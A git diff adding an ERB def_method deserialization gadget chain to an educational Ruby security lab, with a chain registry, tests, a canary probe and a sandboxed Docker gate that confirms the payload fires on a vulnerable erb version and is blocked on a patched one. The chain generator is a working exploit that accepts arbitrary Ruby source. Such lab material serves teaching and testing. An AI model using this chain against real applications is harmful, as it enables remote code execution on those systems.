diff --git a/PROJECTS/beginner/deserialization-gadget-lab/justfile b/PROJECTS/beginner/deserialization-gadget-lab/justfile index 38e0a41e..24d5108a 100644 --- a/PROJECTS/beginner/deserialization-gadget-lab/justfile +++ b/PROJECTS/beginner/deserialization-gadget-lab/justfile @@ -14,6 +14,7 @@ default: test: {{run_ro}} ruby -Ilib -Itest test/marshal/parser_test.rb {{run_ro}} ruby -Ilib -Itest test/scanner_test.rb + {{run_ro}} ruby -Ilib -Itest test/chains_test.rb scan namespace="": {{run_ro}} ruby -Ilib -e 'require "rube"; ns = "{{namespace}}"; r = Rube::Scanner.new(namespace: ns.empty? ? nil : ns).scan; puts "modules=#{r.scanned_modules} candidates=#{r.candidates.length} gated=#{r.gated.length} reachable=#{r.reachable.length}"; puts; r.reachable.each { |c| puts format(" %-10s %-46s %s", c.gate, c.to_s, c.source_location) }' @@ -32,6 +33,11 @@ probe: matrix: @bash scripts/version-matrix.sh +exploit: + @bash scripts/exploit-gate.sh + +gate: check matrix exploit + build: {{run}} sh -c "gem build --strict rube.gemspec" diff --git a/PROJECTS/beginner/deserialization-gadget-lab/lib/rube.rb b/PROJECTS/beginner/deserialization-gadget-lab/lib/rube.rb index 2c889a9a..97ccc1c5 100644 --- a/PROJECTS/beginner/deserialization-gadget-lab/lib/rube.rb +++ b/PROJECTS/beginner/deserialization-gadget-lab/lib/rube.rb @@ -7,6 +7,7 @@ require_relative "rube/marshal/errors" require_relative "rube/marshal/node" require_relative "rube/marshal/parser" require_relative "rube/scanner" +require_relative "rube/chains" module Rube end diff --git a/PROJECTS/beginner/deserialization-gadget-lab/lib/rube/chains.rb b/PROJECTS/beginner/deserialization-gadget-lab/lib/rube/chains.rb new file mode 100644 index 00000000..42cc3002 --- /dev/null +++ b/PROJECTS/beginner/deserialization-gadget-lab/lib/rube/chains.rb @@ -0,0 +1,34 @@ +# ©AngelaMos | 2026 +# chains.rb + +module Rube + module Chains + class UnknownChainError < StandardError; end + + @registry = [] + + class << self + attr_reader :registry + + def register(chain) + @registry << chain unless @registry.include?(chain) + end + + def all + registry.reject { |chain| chain == Base } + end + + def find(name) + all.find { |chain| chain.chain_name == name } || + raise(UnknownChainError, name.to_s) + end + + def for_version(gem_name, version) + all.select { |chain| chain.target_gem == gem_name && chain.affects?(version) } + end + end + end +end + +require_relative "chains/base" +require_relative "chains/erb_def_method" diff --git a/PROJECTS/beginner/deserialization-gadget-lab/lib/rube/chains/base.rb b/PROJECTS/beginner/deserialization-gadget-lab/lib/rube/chains/base.rb new file mode 100644 index 00000000..0732465d --- /dev/null +++ b/PROJECTS/beginner/deserialization-gadget-lab/lib/rube/chains/base.rb @@ -0,0 +1,59 @@ +# ©AngelaMos | 2026 +# base.rb + +module Rube + module Chains + class ChainError < StandardError; end + + class NotImplementedByChainError < ChainError; end + + class Base + NAMESPACE_SEPARATOR = "::" + SUBCLASS_MUST_DEFINE = "chain must define" + + class << self + def inherited(subclass) + super + Chains.register(subclass) + end + + def metadata + raise NotImplementedByChainError, "#{SUBCLASS_MUST_DEFINE} metadata" + end + + def chain_name + metadata.fetch(:name) + end + + def vector + metadata.fetch(:vector) + end + + def cve + metadata.fetch(:cve) + end + + def target_gem + metadata.fetch(:gem) + end + + def affected_requirements + metadata.fetch(:affected).map { |constraint| Gem::Requirement.new(constraint) } + end + + def affects?(version) + candidate = Gem::Version.new(version.to_s) + affected_requirements.any? { |requirement| requirement.satisfied_by?(candidate) } + end + end + + def generate + raise NotImplementedByChainError, "#{SUBCLASS_MUST_DEFINE} generate" + end + + def serialize + ::Marshal.dump(generate) + end + end + end +end diff --git a/PROJECTS/beginner/deserialization-gadget-lab/lib/rube/chains/erb_def_method.rb b/PROJECTS/beginner/deserialization-gadget-lab/lib/rube/chains/erb_def_method.rb new file mode 100644 index 00000000..81dc1d90 --- /dev/null +++ b/PROJECTS/beginner/deserialization-gadget-lab/lib/rube/chains/erb_def_method.rb @@ -0,0 +1,68 @@ +# ©AngelaMos | 2026 +# erb_def_method.rb + +module Rube + module Chains + class ErbDefMethod < Base + CHAIN_NAME = "erb-def-method" + VECTOR = "def_method" + CVE = "CVE-2026-41316" + TARGET_GEM = "erb" + + AFFECTED = [ + "< 4.0.3.1", + "= 4.0.4", + [">= 5.0.0", "< 6.0.1.1"], + [">= 6.0.2", "< 6.0.4"] + ].freeze + + SRC_PREFIX = "#\nend\n" + SRC_SUFFIX = "\ndef _rube_unused\n" + DEFAULT_FILENAME = "(erb)" + DEFAULT_LINENO = 0 + + IVAR_SRC = :@src + IVAR_FILENAME = :@filename + IVAR_LINENO = :@lineno + + CANARY_TEMPLATE = 'File.write(%p, %p)' + + def self.metadata + { + name: CHAIN_NAME, + vector: VECTOR, + cve: CVE, + gem: TARGET_GEM, + affected: AFFECTED + } + end + + def self.canary(path, marker) + new(format(CANARY_TEMPLATE, path: path, marker: marker)) + end + + def initialize(ruby_source) + super() + @ruby_source = ruby_source + end + + def generate + require "erb" + + object = ERB.allocate + object.instance_variable_set(IVAR_SRC, src) + object.instance_variable_set(IVAR_FILENAME, DEFAULT_FILENAME) + object.instance_variable_set(IVAR_LINENO, DEFAULT_LINENO) + object + end + + def src + "#{SRC_PREFIX}#{@ruby_source}#{SRC_SUFFIX}" + end + + private + + attr_reader :ruby_source + end + end +end diff --git a/PROJECTS/beginner/deserialization-gadget-lab/scripts/exploit-gate.sh b/PROJECTS/beginner/deserialization-gadget-lab/scripts/exploit-gate.sh new file mode 100755 index 00000000..1599321d --- /dev/null +++ b/PROJECTS/beginner/deserialization-gadget-lab/scripts/exploit-gate.sh @@ -0,0 +1,68 @@ +#!/usr/bin/env bash +# ©AngelaMos | 2026 +# exploit-gate.sh + +set -uo pipefail + +HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" + +VULNERABLE_IMAGE="ruby:4.0.2-slim" +PATCHED_IMAGE="ruby:4.0-slim" + +run_probe() { + local image="$1" + docker run --rm \ + --network none \ + --read-only \ + --tmpfs /tmp:rw,noexec,nosuid,size=1m \ + --user nobody \ + -e "MATRIX_IMAGE=${image#ruby:}" \ + -v "${HERE}/lib:/app/lib:ro" \ + -v "${HERE}/test/support/exploit_probe.rb:/app/probe.rb:ro" \ + -w /app \ + "${image}" ruby -Ilib /app/probe.rb 2>&1 +} + +echo "CVE-2026-41316 exploit gate" +echo + +vulnerable_output="$(run_probe "${VULNERABLE_IMAGE}")" +vulnerable_status=$? +echo " ${vulnerable_output}" + +patched_output="$(run_probe "${PATCHED_IMAGE}")" +patched_status=$? +echo " ${patched_output}" + +echo +failures=0 + +if [[ "${vulnerable_output}" == *"outcome=FIRED"* ]]; then + echo " PASS payload executes on the vulnerable image" +else + echo " FAIL payload did not execute on the vulnerable image" + failures=$((failures + 1)) +fi + +if [[ "${patched_output}" == *"outcome=BLOCKED"* ]]; then + echo " PASS patched image blocks the same payload" +else + echo " FAIL patched image did not block the payload" + failures=$((failures + 1)) +fi + +if [[ ${vulnerable_status} -eq 0 && ${patched_status} -eq 0 ]]; then + echo " PASS observed outcome matched the chain metadata prediction on both" +else + echo " FAIL observed outcome contradicted the chain metadata prediction" + failures=$((failures + 1)) +fi + +echo +if [[ ${failures} -eq 0 ]]; then + echo "GATE PASSED" + exit 0 +fi + +echo "GATE FAILED (${failures})" +exit 1 diff --git a/PROJECTS/beginner/deserialization-gadget-lab/test/chains_test.rb b/PROJECTS/beginner/deserialization-gadget-lab/test/chains_test.rb new file mode 100644 index 00000000..8c54043b --- /dev/null +++ b/PROJECTS/beginner/deserialization-gadget-lab/test/chains_test.rb @@ -0,0 +1,88 @@ +# ©AngelaMos | 2026 +# chains_test.rb + +require_relative "test_helper" + +module Rube + module Chains + class ChainsTest < Minitest::Test + CANARY_PATH = "/tmp/rube-canary" + CANARY_MARKER = "fired" + + def chain + ErbDefMethod.canary(CANARY_PATH, CANARY_MARKER) + end + + def test_registry_excludes_the_base_class + refute_includes Chains.all, Base + end + + def test_registry_contains_the_erb_chain + assert_includes Chains.all, ErbDefMethod + end + + def test_find_by_name + assert_equal ErbDefMethod, Chains.find("erb-def-method") + end + + def test_find_raises_on_unknown_name + assert_raises(UnknownChainError) { Chains.find("no-such-chain") } + end + + def test_metadata_is_complete + assert_equal "erb-def-method", ErbDefMethod.chain_name + assert_equal "def_method", ErbDefMethod.vector + assert_equal "CVE-2026-41316", ErbDefMethod.cve + assert_equal "erb", ErbDefMethod.target_gem + end + + def test_affects_reproduces_the_published_ranges + { "2.2.3" => true, "4.0.2" => true, "4.0.3" => true, "4.0.4" => true, + "5.0.0" => true, "6.0.1" => true, "6.0.2" => true, "6.0.3" => true, + "4.0.3.1" => false, "4.0.4.1" => false, "6.0.1.1" => false, "6.0.4" => false }.each do |version, expected| + assert_equal expected, ErbDefMethod.affects?(version), "erb #{version}" + end + end + + def test_for_version_selects_matching_chains + assert_includes Chains.for_version("erb", "6.0.1"), ErbDefMethod + assert_empty Chains.for_version("erb", "6.0.1.1") + end + + def test_generate_returns_an_object_not_bytes + assert_kind_of ERB, chain.generate + end + + def test_generated_object_carries_the_payload_source + assert_includes chain.generate.instance_variable_get(:@src), CANARY_PATH + end + + def test_generated_object_omits_the_init_sentinel + refute_includes chain.generate.instance_variables, :@_init + end + + def test_src_closes_the_injected_def_before_the_payload + assert_match(/\A#\nend\n/, chain.src) + end + + def test_serialize_produces_a_loadable_marshal_stream + blob = chain.serialize + assert_equal 4, blob.getbyte(0) + assert_equal 8, blob.getbyte(1) + end + + def test_payload_is_visible_to_the_parser_without_deserializing + result = Rube::Marshal::Parser.new(chain.serialize).parse + assert_includes result.class_names, "ERB" + end + + def test_base_refuses_to_generate + assert_raises(NotImplementedByChainError) { Base.new.generate } + end + + def test_base_refuses_metadata + assert_raises(NotImplementedByChainError) { Base.metadata } + end + end + end +end diff --git a/PROJECTS/beginner/deserialization-gadget-lab/test/support/exploit_probe.rb b/PROJECTS/beginner/deserialization-gadget-lab/test/support/exploit_probe.rb new file mode 100644 index 00000000..6812d23e --- /dev/null +++ b/PROJECTS/beginner/deserialization-gadget-lab/test/support/exploit_probe.rb @@ -0,0 +1,43 @@ +# ©AngelaMos | 2026 +# exploit_probe.rb + +require "rube" + +CANARY_PATH = "/tmp/rube-canary" +CANARY_MARKER = "fired" +RESULT_FIRED = "FIRED" +RESULT_BLOCKED = "BLOCKED" +RESULT_INERT = "INERT" + +erb_version = Gem::Specification.find_all_by_name("erb").map(&:version).max.to_s +chain = Rube::Chains::ErbDefMethod.canary(CANARY_PATH, CANARY_MARKER) +blob = chain.serialize + +inspection = Rube::Marshal::Parser.new(blob).parse + +File.delete(CANARY_PATH) if File.exist?(CANARY_PATH) + +revived = Marshal.load(blob) +detail = begin + revived.def_method(Module.new, "rube_probe") + "def_method returned" +rescue StandardError => e + "#{e.class}: #{e.message}" +end + +fired = File.exist?(CANARY_PATH) && File.read(CANARY_PATH) == CANARY_MARKER +outcome = if fired + RESULT_FIRED + elsif detail.start_with?("ArgumentError") + RESULT_BLOCKED + else + RESULT_INERT + end + +predicted = Rube::Chains::ErbDefMethod.affects?(erb_version) ? RESULT_FIRED : RESULT_BLOCKED + +puts format("%-9s erb=%-9s outcome=%-8s predicted=%-8s classes=%-6s %s", + ENV.fetch("MATRIX_IMAGE", "?"), erb_version, outcome, predicted, + inspection.class_names.join(","), detail) + +exit(outcome == predicted ? 0 : 1)